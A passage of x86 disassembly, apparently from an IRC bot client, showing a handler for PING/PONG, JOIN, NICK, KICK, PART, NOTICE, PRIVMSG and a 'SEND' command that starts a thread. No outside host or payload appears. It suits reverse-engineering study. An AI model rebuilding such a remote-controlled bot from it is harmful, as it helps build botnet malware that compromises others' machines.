var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA68 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA64 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh

loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE

loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi

loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA60 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h

loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------

loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch

loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h

loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1

loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h

loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h

loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1

loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax

loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h

loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0

loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87

loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B

loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083

loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019

loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C9A0

loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220

loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx

loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C97C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854

loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C960
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C924
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	loc_4023E6

loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2670000h
		nop
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------

loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1

loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C920
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A

